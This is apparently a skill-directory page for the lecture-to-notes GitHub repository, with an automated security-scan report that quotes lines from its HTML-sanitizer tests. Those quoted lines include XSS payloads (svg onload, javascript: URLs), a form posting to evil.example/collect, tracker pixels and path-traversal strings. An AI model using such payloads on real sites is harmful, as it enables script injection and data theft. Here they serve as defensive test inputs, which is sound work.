Not in the top 1,000 by GitHub stars
drpwchen/lecture-to-notes
Lecture recordings → structured grounded notes + a synced HTML viewer: video, timestamped transcript and curated summary on one page. Local GPU pipeline (Whisper ASR · slide extraction · OCR · VLM signals · capture-time alignment). Claude Code skill + plain CLI.
History
Review weekly changes to SKILL.md before updating. Dates mark the weeks in which we observed each version; checks apply to the recorded commits.
View weekly changes
SKILL.md
Week of Nov 2, 2026 · +71 / −7 lines
Before Not checked yet → After Network or broad shell
cc06141939ce → 771ef8762212
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → cc06141939ce
No earlier version was observed for comparison.
Heat
5.3- Star growth, last 7 daysNot available
- Star growth, last 24 hoursNot available
- Rank movement, last 7 daysNot available
- Commits, last 30 daysNot available
- Accounts asking about it through MCP, last 7 daysNot available
- Hot votes this weekNot available
Heat never changes the order by stars, and sponsorship never touches it. How heat works
Stars over time
30-day change not yet available: not enough history.
Individual skills in this repository
How it works
lecture-to-notes
When your agent uses it
Turn a lecture/conference recording (video or audio: MOV/MP4/M4A/MP3/WAV) into structured vault notes via local GPU transcription + slide extraction — 演講影片, 演講音檔, 上課錄影, '整理演講', '影片轉筆記', '音檔轉筆記', or a dropped media file. Handles batch runs.
What it loads into context
Frontmatter
103 tokensAlways available to the agent
SKILL.md
6,509 tokensWhen the skill is activated
Reference documents
79,141 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- HARD RULES
- Input types and routing
- Pipeline
- Edge cases
- Optional infrastructure
- Dependencies
- File locations
Scripts executed separately
ocr_bench/adapters/paddleocr_vl_adapter.pyocr_bench/adapters/rapidocr_adapter.pyocr_bench/report.pyocr_bench/run_bench.pyocr_bench/schema.pyscripts/_common.pyscripts/_html_safety.pyscripts/_log.pyscripts/_mdpm.pyscripts/_paths.pyscripts/adapters/surya_adapter.pyscripts/asr_gemini_primary.pyscripts/audit_note.pyscripts/batch/add_dhash.pyscripts/batch/audit_segmentation.pyscripts/batch/build_L1.pyscripts/batch/course_timeline.pyscripts/batch/detect_language.pyscripts/batch/detect_language_audio.pyscripts/batch/phi_mask.pyscripts/batch/process_slide_deck.pyscripts/batch/split_L1_by_segment.pyscripts/batch/split_segments.pyscripts/batch/vlm_cache.pyscripts/build_real_words.pyscripts/build_single_talk_web.pyscripts/build_slides_from_images.pyscripts/build_slides_from_pdf.pyscripts/crop_multiup_pdf.pyscripts/dedup_semantic.pyscripts/export_web.pyscripts/extract_slides.pyscripts/finalize_to_vault.pyscripts/flag_asr_suspects.pyscripts/gemini_asr.pyscripts/gpu_check.pyscripts/groq_asr.pyscripts/ground_slides.pyscripts/import_transcript.pyscripts/layout2/viewer.jsscripts/make_glossary.pyscripts/media_capture_index.pyscripts/ocr_slides.pyscripts/ocr_surya.pyscripts/provenance.pyscripts/query_near_field.pyscripts/quick_ocr.pyscripts/render_embeds.pyscripts/retranscribe_segment.pyscripts/route_inputs.pyscripts/test_ct2_teardown.pyscripts/transcribe_video.pyscripts/ts_anchor.pyscripts/vlm_signals.pyscripts/xcorr_media_offsets.pytests/conftest.pytests/test_ct2_teardown_suite.pytests/test_gemini_asr.pytests/test_html_safety.pytests/test_import_transcript.pytests/test_packaging.pytests/test_path_containment.pytests/test_provenance.pytests/test_route_plan.pytests/test_sync_leak_scan.pytests/test_viewer_hostile.pytools/sync_from_skill.py
Files
.gitattributesasset294 bytes.github/workflows/secret-scan.ymlasset278 bytes.github/workflows/tests.ymlasset1,507 bytes.gitignoreasset773 bytesCHANGELOG.mddoc46,533 bytesLICENSEasset1,065 bytesREADME.mddoc20,831 bytesREADME.zh-TW.mddoc14,456 bytesSECURITY.mddoc1,068 bytesSKILL.mdcore25,178 bytesSKILL.mdcore25,178 bytesSKILL.mdcore25,178 bytesSKILL.mdcore25,178 bytesSKILL.mdcore25,178 bytesSKILL.mdcore25,178 bytesSKILL.mdcore25,178 bytesSKILL.mdcore25,178 bytesSKILL.mdcore25,178 bytesSKILL.mdcore25,178 bytesSKILL.mdcore25,178 bytesSKILL.mdcore25,178 bytesSKILL.mdcore25,178 bytesSKILL.mdcore25,178 bytesSKILL.mdcore25,178 bytesSKILL.mdcore25,178 bytesSKILL.mdcore25,178 bytesSKILL.mdcore25,178 bytesSKILL.mdcore25,178 bytesSKILL.mdcore25,178 bytesSKILL.mdcore25,178 bytesSKILL.mdcore25,178 bytesSKILL.mdcore25,178 bytesSYNC-LEDGER.mddoc7,809 bytesconfig.example.yamlasset9,875 bytesdata/.gitignoreasset464 bytesdata/real_acronyms.txtdoc16,535 bytesdata/real_words.txtdoc466,558 bytesdocs/AUDIT_SUMMARY.mddoc6,135 bytesdocs/assets/hero.pngasset516,807 bytesdocs/assets/hero.zh.pngasset542,778 bytesdocs/assets/viewer-home.pngasset215,910 bytesdocs/assets/viewer-summary.pngasset365,960 bytesdocs/assets/viewer-sync.pngasset737,035 bytesdocs/stage-f-contract.mddoc6,967 bytesdocs/transcript-contract.mddoc7,125 bytesocr_bench/README.mddoc4,220 bytesocr_bench/adapters/paddleocr_vl_adapter.pyruns3,551 bytesocr_bench/adapters/rapidocr_adapter.pyruns1,778 bytesocr_bench/report.pyruns2,890 bytesocr_bench/run_bench.pyruns7,759 bytesocr_bench/schema.pyruns1,802 bytespyproject.tomlasset1,938 bytesreference/decisions.mddoc39,629 bytesreference/multi-camera.mddoc18,843 bytesreference/note-spec.mddoc28,898 bytesreference/pipeline.mddoc46,449 bytesreference/segmented-mode.mddoc35,910 bytesrequirements-optional.txtdoc1,909 bytesrequirements.txtdoc1,438 bytesscripts/_common.pyruns27,665 bytesscripts/_html_safety.pyruns16,114 bytesscripts/_log.pyruns22,469 bytesscripts/_mdpm.pyruns3,909 bytesscripts/_paths.pyruns1,666 bytesscripts/adapters/surya_adapter.pyruns4,383 bytesscripts/asr_gemini_primary.pyruns7,160 bytesscripts/audit_note.pyruns37,249 bytesscripts/batch/add_dhash.pyruns3,035 bytesscripts/batch/audit_segmentation.pyruns20,096 bytesscripts/batch/build_L1.pyruns9,449 bytesscripts/batch/course_timeline.pyruns11,373 bytesscripts/batch/detect_language.pyruns4,045 bytesscripts/batch/detect_language_audio.pyruns4,230 bytesscripts/batch/phi_mask.pyruns2,492 bytesscripts/batch/process_slide_deck.pyruns4,293 bytesscripts/batch/split_L1_by_segment.pyruns4,484 bytesscripts/batch/split_segments.pyruns5,706 bytesscripts/batch/vlm_cache.pyruns11,425 bytesscripts/build_real_words.pyruns4,390 bytesscripts/build_single_talk_web.pyruns14,180 bytesscripts/build_slides_from_images.pyruns22,373 bytesscripts/build_slides_from_pdf.pyruns11,179 bytesscripts/crop_multiup_pdf.pyruns18,804 bytesscripts/dedup_semantic.pyruns18,400 bytesscripts/export_web.pyruns103,867 bytesscripts/extract_slides.pyruns14,608 bytesscripts/finalize_to_vault.pyruns9,081 bytesscripts/flag_asr_suspects.pyruns11,045 bytesscripts/gemini_asr.pyruns26,625 bytesscripts/gpu_check.pyruns23,086 bytesscripts/groq_asr.pyruns9,064 bytesscripts/ground_slides.pyruns17,770 bytesscripts/import_transcript.pyruns17,763 bytesscripts/layout2/viewer.cssasset16,953 bytesscripts/layout2/viewer.jsruns26,890 bytesscripts/make_glossary.pyruns3,306 bytesscripts/media_capture_index.pyruns26,134 bytesscripts/ocr_slides.pyruns887 bytesscripts/ocr_surya.pyruns14,366 bytesscripts/provenance.pyruns13,491 bytesscripts/query_near_field.pyruns3,789 bytesscripts/quick_ocr.pyruns11,877 bytesscripts/render_embeds.pyruns11,574 bytesscripts/retranscribe_segment.pyruns34,113 bytesscripts/route_inputs.pyruns22,182 bytesscripts/test_ct2_teardown.pyruns10,223 bytesscripts/transcribe_video.pyruns55,304 bytesscripts/ts_anchor.pyruns4,600 bytesscripts/vlm_signals.pyruns39,795 bytesscripts/xcorr_media_offsets.pyruns8,036 bytestests/conftest.pyruns380 bytestests/fixtures/hostile_course/L2/L2_seg01_hostile.mddoc718 bytestests/fixtures/hostile_course/L3/L3_seg01_hostile.mddoc1,890 bytestests/fixtures/hostile_course/_HUB_index.mddoc315 bytestests/fixtures/hostile_course/_intermediate/seg/segments.jsonasset243 bytestests/fixtures/hostile_course/_raw/manifest.jsonasset108 bytestests/fixtures/hostile_course/clips/clip01/slides_grounded.jsonasset319 bytestests/test_ct2_teardown_suite.pyruns429 bytestests/test_gemini_asr.pyruns8,799 bytestests/test_html_safety.pyruns11,257 bytestests/test_import_transcript.pyruns7,959 bytestests/test_packaging.pyruns1,048 bytestests/test_path_containment.pyruns11,705 bytestests/test_provenance.pyruns6,873 bytestests/test_route_plan.pyruns4,956 bytestests/test_sync_leak_scan.pyruns1,667 bytestests/test_viewer_hostile.pyruns12,128 bytestools/sync_from_skill.pyruns15,510 bytestools/templates/ocr_bench_README.mddoc4,220 bytes
Read SKILL.md
# Lecture-to-Notes
Turn a lecture recording (video or audio-only) into structured notes. Every heavy
stage runs locally at 0 Claude tokens; Claude only does the final synthesis. This
page is the map; detail lives in `reference/`, one topic per file.
| File | What is in it |
|---|---|
| `reference/pipeline.md` | Per-stage flags, thresholds, JSON schemas, timeouts, observability |
| `reference/note-spec.md` | Note quality spec, tier scoring, width table, synthesis prompt requirements |
| `reference/segmented-mode.md` | Multi-talk workshop folders → per-segment L2/L3 + Hub + web viewer |
| `reference/multi-camera.md` | One long recording + many phone clips/photos → one timeline |
| `reference/decisions.md` | Post-mortems, benchmarks, wrong turns, VRAM measurements |
View the complete source on GitHubSkills included
- lecture-to-notes
Repository facts
- License
- MIT
- Created
- Aug 2, 2026
- Last pushed
- Nov 3, 2026
- Forks
- 26
- Open issues
- 0
- Project activity
- Active
Before you install
Network or broad shellAutomated signals, not a guarantee
Checked Nov 5, 2026
Not fully analyzed: some files were too long, unreadable or missing. This never lowers the level.
Show 23 notes
SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedSKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedSKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedSKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedSKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedSKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedSKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedSKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedSKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedSKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedSKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedSKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedSKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedSKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedSKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedSKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedSKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedSKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedSKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedSKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzed
- 1 broad permissionin 1 file: SKILL.md:1
- 2 dangerous shell commandsin 2 files: .github/workflows/tests.yml:43 scripts/gemini_asr.py:156
- 115 network referencesin 15 files: tests/test_html_safety.py:62 README.md:3 CHANGELOG.md:3 and 12 more
- 4 obfuscation signalsin 3 files: scripts/import_transcript.py:151 tests/fixtures/hostile_course/L2/L2_seg01_hostile.md:12 tests/test_viewer_hostile.py:45
- No instruction overrides
- 67 executable scriptsin 67 files: ocr_bench/adapters/paddleocr_vl_adapter.py:1 ocr_bench/adapters/rapidocr_adapter.py:1 ocr_bench/report.py:1 and 64 more
- 67 references to secretsin 22 files: tools/sync_from_skill.py:74 scripts/gemini_asr.py:11 scripts/_paths.py:27 and 19 more
- No requests to vote in Hot
Show all 256 signals by file
.github/workflows/tests.yml
- Dangerous shell operationline 43
run: sudo apt-get update && sudo apt-get install -y --no-install-recommends pandoc ffmpeg
CHANGELOG.md
- Network accessline 3
All notable changes to this project are documented here. This project follows [Semantic Versioning](https://semver.org/spec/v2.0.0.html). - Network accessline 4
[Semantic Versioning](https://semver.org/spec/v2.0.0.html). - Network accessline 8
Follow-up to [issue #1](https://github.com/drpwchen/lecture-to-notes/issues/1): - Access to secretsline 121
[Credential-related source omitted] - Network accessline 190
Follow-up to [issue #1](https://github.com/drpwchen/lecture-to-notes/issues/1) - Network accessline 298
- `VIEWER_VERSION` → `layout2/2026.10.13`. Schema unchanged (still v3); old pages keep working, re-export to get the hardening. - Stage D's default ollama endpoint is `http://127.0.0.1:11434/api/generate` - Network accessline 299
pages keep working, re-export to get the hardening. - Stage D's default ollama endpoint is `http://127.0.0.1:11434/api/generate` instead of `localhost` (committed 2026-10-07, first released here): on Windows - Network accessline 300
- Stage D's default ollama endpoint is `http://127.0.0.1:11434/api/generate` - Network accessline 670
(1 line-dup hit, 0 diversity hits; a genuinely looping paragraph lands at diversity 0.03). *Failure mode reported from batch runs by [jieyu166/rad-workflow](https://github.com/jieyu166/rad-workflow)'s author - Network accessline 671
diversity 0.03). *Failure mode reported from batch runs by [jieyu166/rad-workflow](https://github.com/jieyu166/rad-workflow)'s author (「重複無意義的文字」) — thanks again!* - Network accessline 672
[jieyu166/rad-workflow](https://github.com/jieyu166/rad-workflow)'s author - Network accessline 685
not a device-UI overlay; VLM summaries only for information graphics). Courses without grounding files export exactly as before. *Idea borrowed from [jieyu166/rad-workflow](https://github.com/jieyu166/rad-workflow)'s course-hub - Network accessline 686
without grounding files export exactly as before. *Idea borrowed from [jieyu166/rad-workflow](https://github.com/jieyu166/rad-workflow)'s course-hub cross-lecture search — thanks!* - Network accessline 687
[jieyu166/rad-workflow](https://github.com/jieyu166/rad-workflow)'s course-hub
README.md
- Network accessline 3
[](https://github.com/drpwchen/lecture-to-notes/actions/workflows/secret-scan.yml) - Access to secretsline 197
[Credential-related source omitted] - Network accessline 220
GPU pre-flight yet. Reports welcome. - **`ffmpeg` and `ffprobe` on PATH** — not optional. - Optional: [ollama](https://ollama.com) with `minicpm-v:8b` for Stage D slide - Network accessline 221
- **`ffmpeg` and `ffprobe` on PATH** — not optional. - Optional: [ollama](https://ollama.com) with `minicpm-v:8b` for Stage D slide semantics; a separate venv with [Surya](https://github.com/VikParuchuri/surya) - Network accessline 222
- Optional: [ollama](https://ollama.com) with `minicpm-v:8b` for Stage D slide - Network accessline 223
semantics; a separate venv with [Surya](https://github.com/VikParuchuri/surya) - Network accessline 235
git clone https://github.com/drpwchen/lecture-to-notes - Network accessline 271
The repo is laid out as a [Claude Code](https://claude.com/claude-code) skill: - Network accessline 359
1. [從零開始:安裝、看懂 GitHub、跑起你的第一個工具](https://drpwchen.com/posts/getting-started/) - Network accessline 360
2. [怎麼跟 AI agent 講話:心法、元技能與規則檔](https://drpwchen.com/posts/talking-to-agents/) - Network accessline 361
3. [自動化流程不是設計出來的,是長出來的](https://drpwchen.com/posts/growing-your-workflow/) - Network accessline 363
The story behind this particular tool → [演講影片變成筆記:本機 GPU 轉錄 + 投影片對位](https://drpwchen.com/posts/lecture-to-notes/) - Network accessline 364
[演講影片變成筆記:本機 GPU 轉錄 + 投影片對位](https://drpwchen.com/posts/lecture-to-notes/) - Network accessline 366
Full map of my tools and posts → [drpwchen.com/map](https://drpwchen.com/map/) - Network accessline 374
覺得這個工具有幫助嗎?歡迎[請我喝飲料](https://drpwchen.com/support/) 🧋 - Network accessline 375
If this tool helped you, you can [buy me a drink](https://drpwchen.com/en/support/).
README.zh-TW.md
- Network accessline 3
[](https://github.com/drpwchen/lecture-to-notes/actions/workflows/secret-scan.yml) - Access to secretsline 126
[Credential-related source omitted] - Network accessline 151
git clone https://github.com/drpwchen/lecture-to-notes - Network accessline 207
1. [從零開始:安裝、看懂 GitHub、跑起你的第一個工具](https://drpwchen.com/posts/getting-started/) - Network accessline 208
2. [怎麼跟 AI agent 講話:心法、元技能與規則檔](https://drpwchen.com/posts/talking-to-agents/) - Network accessline 209
3. [自動化流程不是設計出來的,是長出來的](https://drpwchen.com/posts/growing-your-workflow/) - Network accessline 211
這個工具本身的來龍去脈 → [演講影片變成筆記:本機 GPU 轉錄 + 投影片對位](https://drpwchen.com/posts/lecture-to-notes/) - Network accessline 212
[演講影片變成筆記:本機 GPU 轉錄 + 投影片對位](https://drpwchen.com/posts/lecture-to-notes/) - Network accessline 214
所有工具與文章的全貌 → [drpwchen.com/map](https://drpwchen.com/map/) - Network accessline 220
覺得這個工具有幫助嗎?歡迎[請我喝飲料](https://drpwchen.com/support/) 🧋 - Network accessline 221
If this tool helped you, you can [buy me a drink](https://drpwchen.com/en/support/).
SKILL.md
- Broad permissionsline 1
Read Write Edit Bash Glob Grep Agent
SYNC-LEDGER.md
config.example.yaml
- Access to secretsline 321
[Credential-related source omitted]
ocr_bench/README.md
- Network accessline 74
# Surya (isolated venv) uv venv /path/to/surya-venv --python 3.12 uv pip install --python /path/to/surya-venv/bin/python torch --index-url https://download.pytorch.org/whl/cu124 - Network accessline 75
uv venv /path/to/surya-venv --python 3.12 uv pip install --python /path/to/surya-venv/bin/python torch --index-url https://download.pytorch.org/whl/cu124 uv pip install --python /path/to/surya-venv/bin/python surya-ocr pillow - Network accessline 76
uv pip install --python /path/to/surya-venv/bin/python torch --index-url https://download.pytorch.org/whl/cu124
ocr_bench/adapters/paddleocr_vl_adapter.py
- Executable scriptline 1
Executable file
ocr_bench/adapters/rapidocr_adapter.py
- Executable scriptline 1
Executable file
ocr_bench/report.py
- Executable scriptline 1
Executable file
ocr_bench/run_bench.py
- Executable scriptline 1
Executable file
ocr_bench/schema.py
- Executable scriptline 1
Executable file
pyproject.toml
- Network accessline 47
[project.urls] Homepage = "https://github.com/drpwchen/lecture-to-notes" - Network accessline 48
Homepage = "https://github.com/drpwchen/lecture-to-notes" - Network accessline 49
Changelog = "https://github.com/drpwchen/lecture-to-notes/blob/main/CHANGELOG.md" - Network accessline 50
Issues = "https://github.com/drpwchen/lecture-to-notes/issues"
requirements-optional.txt
- Network accessline 11
# uv venv /path/to/surya-venv --python 3.12 # uv pip install --python /path/to/surya-venv/bin/python \ # torch --index-url https://download.pytorch.org/whl/cu124 - Network accessline 12
# uv pip install --python /path/to/surya-venv/bin/python \ # torch --index-url https://download.pytorch.org/whl/cu124 # uv pip install --python /path/to/surya-venv/bin/python surya-ocr pillow - Network accessline 13
# torch --index-url https://download.pytorch.org/whl/cu124
scripts/_common.py
- Executable scriptline 1
Executable file - Access to secretsline 144
[Credential-related source omitted] - Access to secretsline 254
[Credential-related source omitted] - Access to secretsline 331
[Credential-related source omitted] - Access to secretsline 365
[Credential-related source omitted] - Access to secretsline 408
[Credential-related source omitted]
scripts/_html_safety.py
- Executable scriptline 1
Executable file
scripts/_log.py
scripts/_mdpm.py
- Executable scriptline 1
Executable file
scripts/_paths.py
- Executable scriptline 1
Executable file - Access to secretsline 27
[Credential-related source omitted] - Access to secretsline 28
[Credential-related source omitted] - Access to secretsline 29
[Credential-related source omitted] - Access to secretsline 30
[Credential-related source omitted] - Access to secretsline 31
[Credential-related source omitted] - Access to secretsline 32
[Credential-related source omitted]
scripts/adapters/surya_adapter.py
- Executable scriptline 1
Executable file
scripts/asr_gemini_primary.py
- Executable scriptline 1
Executable file
scripts/audit_note.py
scripts/batch/add_dhash.py
- Executable scriptline 1
Executable file
scripts/batch/audit_segmentation.py
- Executable scriptline 1
Executable file
scripts/batch/build_L1.py
- Executable scriptline 1
#!/usr/bin/env python3
scripts/batch/course_timeline.py
- Executable scriptline 1
Executable file
scripts/batch/detect_language.py
- Executable scriptline 1
Executable file
scripts/batch/detect_language_audio.py
- Executable scriptline 1
Executable file
scripts/batch/phi_mask.py
- Executable scriptline 1
Executable file
scripts/batch/process_slide_deck.py
- Executable scriptline 1
Executable file
scripts/batch/split_L1_by_segment.py
- Executable scriptline 1
#!/usr/bin/env python3
scripts/batch/split_segments.py
- Executable scriptline 1
Executable file
scripts/batch/vlm_cache.py
- Executable scriptline 1
Executable file
scripts/build_real_words.py
- Executable scriptline 1
Executable file
scripts/build_single_talk_web.py
- Executable scriptline 1
Executable file
scripts/build_slides_from_images.py
- Executable scriptline 1
Executable file
scripts/build_slides_from_pdf.py
- Executable scriptline 1
Executable file
scripts/crop_multiup_pdf.py
- Executable scriptline 1
Executable file
scripts/dedup_semantic.py
- Executable scriptline 1
Executable file
scripts/export_web.py
scripts/extract_slides.py
- Executable scriptline 1
Executable file
scripts/finalize_to_vault.py
- Executable scriptline 1
Executable file
scripts/flag_asr_suspects.py
- Executable scriptline 1
Executable file
scripts/gemini_asr.py
- Executable scriptline 1
Executable file - Access to secretsline 11
[Credential-related source omitted] - Access to secretsline 86
[Credential-related source omitted] - Access to secretsline 87
[Credential-related source omitted] - Network accessline 88
[Credential-related source omitted] - Access to secretsline 88
[Credential-related source omitted] - Network accessline 89
if not k: raise RuntimeError("GEMINI_API_KEY is not set: create a key at https://aistudio.google.com/apikey " "and export it, or use --via agy") - Network accessline 90
[Credential-related source omitted] - Access to secretsline 90
[Credential-related source omitted] - Access to secretsline 97
[Credential-related source omitted] - Network accessline 118
body = {"contents": [{"parts": [{"inline_data": {"mime_type": "audio/mp3", "data": base64.b64encode(audio).decode()}}, {"text": prompt}]}], "generationConfig": {"temperature": 0}} req = urllib.request - Network accessline 119
{"text": prompt}]}], "generationConfig": {"temperature": 0}} req = urllib.request.Request(f"https://generativelanguage.googleapis.com/v1beta/models/{model}:generateContent", data=json.dumps(body).encode( - Network accessline 120
req = urllib.request.Request(f"https://generativelanguage.googleapis.com/v1beta/models/{model}:generateContent", - Network accessline 124
while True: try: d = json.load(urllib.request.urlopen(req, timeout=900)) - Network accessline 125
try: d = json.load(urllib.request.urlopen(req, timeout=900)) break - Network accessline 126
d = json.load(urllib.request.urlopen(req, timeout=900)) - Dangerous shell operationline 156
f"rm -f /tmp/agy_asr_{tag}.txt\n") - Access to secretsline 212
[Credential-related source omitted] - Access to secretsline 254
[Credential-related source omitted]
scripts/gpu_check.py
scripts/groq_asr.py
- Executable scriptline 1
Executable file - Access to secretsline 26
[Credential-related source omitted] - Network accessline 37
GROQ_ENDPOINT = "https://api.groq.com/openai/v1/audio/transcriptions" - Access to secretsline 44
[Credential-related source omitted] - Access to secretsline 49
[Credential-related source omitted] - Network accessline 107
with open(chunk_path, "rb") as fh: resp = requests.post( - Network accessline 108
resp = requests.post( - Access to secretsline 142
[Credential-related source omitted] - Network accessline 146
raise RuntimeError( "No usable Groq API key. Set the GROQ_API_KEY environment variable " "(get one at https://console.groq.com/keys), or use the local " - Network accessline 147
[Credential-related source omitted] - Access to secretsline 147
[Credential-related source omitted] - Network accessline 148
"(get one at https://console.groq.com/keys), or use the local "
scripts/ground_slides.py
- Executable scriptline 1
Executable file
scripts/import_transcript.py
scripts/layout2/viewer.js
- Executable scriptline 1
Executable file
scripts/make_glossary.py
- Executable scriptline 1
Executable file
scripts/media_capture_index.py
- Executable scriptline 1
Executable file
scripts/ocr_slides.py
- Executable scriptline 1
Executable file
scripts/ocr_surya.py
scripts/provenance.py
- Executable scriptline 1
Executable file
scripts/query_near_field.py
- Executable scriptline 1
Executable file
scripts/quick_ocr.py
- Executable scriptline 1
Executable file
scripts/render_embeds.py
- Executable scriptline 1
Executable file
scripts/retranscribe_segment.py
scripts/route_inputs.py
- Executable scriptline 1
Executable file
scripts/test_ct2_teardown.py
- Executable scriptline 1
Executable file
scripts/transcribe_video.py
- Executable scriptline 1
Executable file - Access to secretsline 710
[Credential-related source omitted] - Access to secretsline 792
[Credential-related source omitted] - Access to secretsline 797
[Credential-related source omitted] - Access to secretsline 974
[Credential-related source omitted] - Access to secretsline 1057
[Credential-related source omitted] - Access to secretsline 1125
[Credential-related source omitted]
scripts/ts_anchor.py
- Executable scriptline 1
Executable file
scripts/vlm_signals.py
- Executable scriptline 1
Executable file - Network accessline 43
Environment: OLLAMA_URL full generate endpoint (default http://127.0.0.1:11434/api/generate) - Network accessline 44
OLLAMA_URL full generate endpoint (default http://127.0.0.1:11434/api/generate) - Network accessline 86
[Credential-related source omitted] - Access to secretsline 86
[Credential-related source omitted] - Access to secretsline 225
[Credential-related source omitted] - Network accessline 281
resp = requests.post(OLLAMA_URL, json=payload, - Network accessline 351
"options": options, } resp = requests.post(OLLAMA_URL, json=payload, - Network accessline 352
} resp = requests.post(OLLAMA_URL, json=payload, timeout=(connect_timeout, inference_timeout)) - Network accessline 353
resp = requests.post(OLLAMA_URL, json=payload, - Network accessline 800
if args.save_every > 0 and (idx + 1) % args.save_every == 0: partial = list(results) for nc in non_canonical: - Network accessline 801
partial = list(results) for nc in non_canonical: nc_copy = dict(nc) - Network accessline 802
for nc in non_canonical:
scripts/xcorr_media_offsets.py
- Executable scriptline 1
Executable file
tests/conftest.py
- Executable scriptline 1
Executable file
tests/fixtures/hostile_course/L2/L2_seg01_hostile.md
- Possible obfuscationline 12
- `(V1 00:30)` Unicode:<U+202E>RTL override<U+202C>、零寬<U+200B>字元、行分隔 [
tests/fixtures/hostile_course/L3/L3_seg01_hostile.md
- Network accessline 17
- 大小寫空白 <a href=" JaVaScRiPt:window.__pwned='mixed'">mixed case</a> - data URL <img src="data:image/svg+xml,%3Csvg onload=alert(1)%3E"> - 外部追蹤 <img src="https://tracker.example/pixel.gif"> 與 <img src="//tracker.example/p.gif"> - Network accessline 18
- data URL <img src="data:image/svg+xml,%3Csvg onload=alert(1)%3E"> - 外部追蹤 <img src="https://tracker.example/pixel.gif"> 與 <img src="//tracker.example/p.gif"> - 跳脫路徑 <img src="../../../secret.png"> 與 <img src="..%2f..%2fsecret.png"> - Network accessline 19
- 外部追蹤 <img src="https://tracker.example/pixel.gif"> 與 <img src="//tracker.example/p.gif"> - Network accessline 21
- SVG <svg onload="window.__pwned='svg'"><circle r="1"/></svg> - iframe <iframe src="javascript:window.__pwned='iframe'"></iframe> - object <object data="https://evil.example/x.swf"></object><embed src="https://evil.example/y"> - Network accessline 22
- iframe <iframe src="javascript:window.__pwned='iframe'"></iframe> - object <object data="https://evil.example/x.swf"></object><embed src="https://evil.example/y"> - form <form action="https://evil.example/collect"><input name="q"><button> - Network accessline 23
- object <object data="https://evil.example/x.swf"></object><embed src="https://evil.example/y"> - Network accessline 24
- form <form action="https://evil.example/collect"><input name="q"><button>送出</button></form> - Network accessline 25
- base <base href="https://evil.example/"> - Network accessline 26
- meta <meta http-equiv="refresh" content="0;url=https://evil.example"> - Network accessline 27
- style <style>body{background:url(https://tracker.example/css)}</style> - Network accessline 28
- inline style <span style="color: red; background:url(https://tracker.example/y)">紅字</span>
tests/test_ct2_teardown_suite.py
- Executable scriptline 1
Executable file
tests/test_gemini_asr.py
- Executable scriptline 1
Executable file - Access to secretsline 46
[Credential-related source omitted] - Access to secretsline 47
[Credential-related source omitted] - Access to secretsline 48
[Credential-related source omitted] - Access to secretsline 49
[Credential-related source omitted] - Access to secretsline 50
[Credential-related source omitted]
tests/test_html_safety.py
- Executable scriptline 1
Executable file - Network accessline 62
'<svg onload="alert(1)"><circle r="1"/></svg>', '<iframe src="javascript:alert(1)"></iframe>', '<object data="https://evil.example/x.swf"></object>', - Network accessline 63
'<iframe src="javascript:alert(1)"></iframe>', '<object data="https://evil.example/x.swf"></object>', '<embed src="https://evil.example/y">', - Network accessline 64
'<object data="https://evil.example/x.swf"></object>', - Network accessline 65
'<embed src="https://evil.example/y">', - Network accessline 66
'<form action="https://evil.example"><input name="q"><button>go</button></form>', - Network accessline 67
'<base href="https://evil.example/">', - Network accessline 68
'<meta http-equiv="refresh" content="0;url=https://evil.example">', - Network accessline 69
'<link rel="stylesheet" href="https://evil.example/a.css">', - Network accessline 70
"<style>body{background:url(https://tracker.example/c)}</style>", - Network accessline 71
'<span style="background:url(https://tracker.example/y)">x</span>', - Network accessline 77
'<a href="data:text/html,<script>alert(1)</script>">x</a>', '<img src="data:image/svg+xml,%3Csvg onload=alert(1)%3E">', '<img src="https://tracker.example/pixel.gif">', - Network accessline 78
'<img src="data:image/svg+xml,%3Csvg onload=alert(1)%3E">', '<img src="https://tracker.example/pixel.gif">', '<img src="//tracker.example/pixel.gif">', - Network accessline 79
'<img src="https://tracker.example/pixel.gif">', - Network accessline 134
def test_mailto_http_fragment_links_kept(): for href in ("https://example.org/a?b=1", "http://example.org", "mailto:a@b.c", - Network accessline 135
for href in ("https://example.org/a?b=1", "http://example.org", "mailto:a@b.c", - Network accessline 220
@pytest.mark.parametrize("u", [ "", " ", "javascript:alert(1)", "JAVASCRIPT:x", " java\nscript:x", "data:image/png;base64,AA", "https://x.example/a.png", "//x.example/a.png", "/abs.png", "\\\\server\\share\\a.png", - Network accessline 221
"", " ", "javascript:alert(1)", "JAVASCRIPT:x", " java\nscript:x", "data:image/png;base64,AA", "https://x.example/a.png", "//x.example/a.png", "/abs.png", "\\\\server\\share\\a.png", "C:/x.png", "c|/x.png", "C|\\x.png", "file:///e - Network accessline 222
"https://x.example/a.png", "//x.example/a.png", "/abs.png", "\\\\server\\share\\a.png", - Network accessline 231
assert is_safe_relative_url("../video/x.mp4", allow_parent=True) assert not is_safe_relative_url("../video/x.mp4") assert not is_safe_relative_url("https://x/a.mp4", allow_parent=True) - Network accessline 233
assert not is_safe_relative_url("https://x/a.mp4", allow_parent=True)
tests/test_import_transcript.py
- Executable scriptline 1
Executable file
tests/test_packaging.py
- Executable scriptline 1
Executable file
tests/test_path_containment.py
tests/test_provenance.py
- Executable scriptline 1
Executable file
tests/test_route_plan.py
- Executable scriptline 1
Executable file
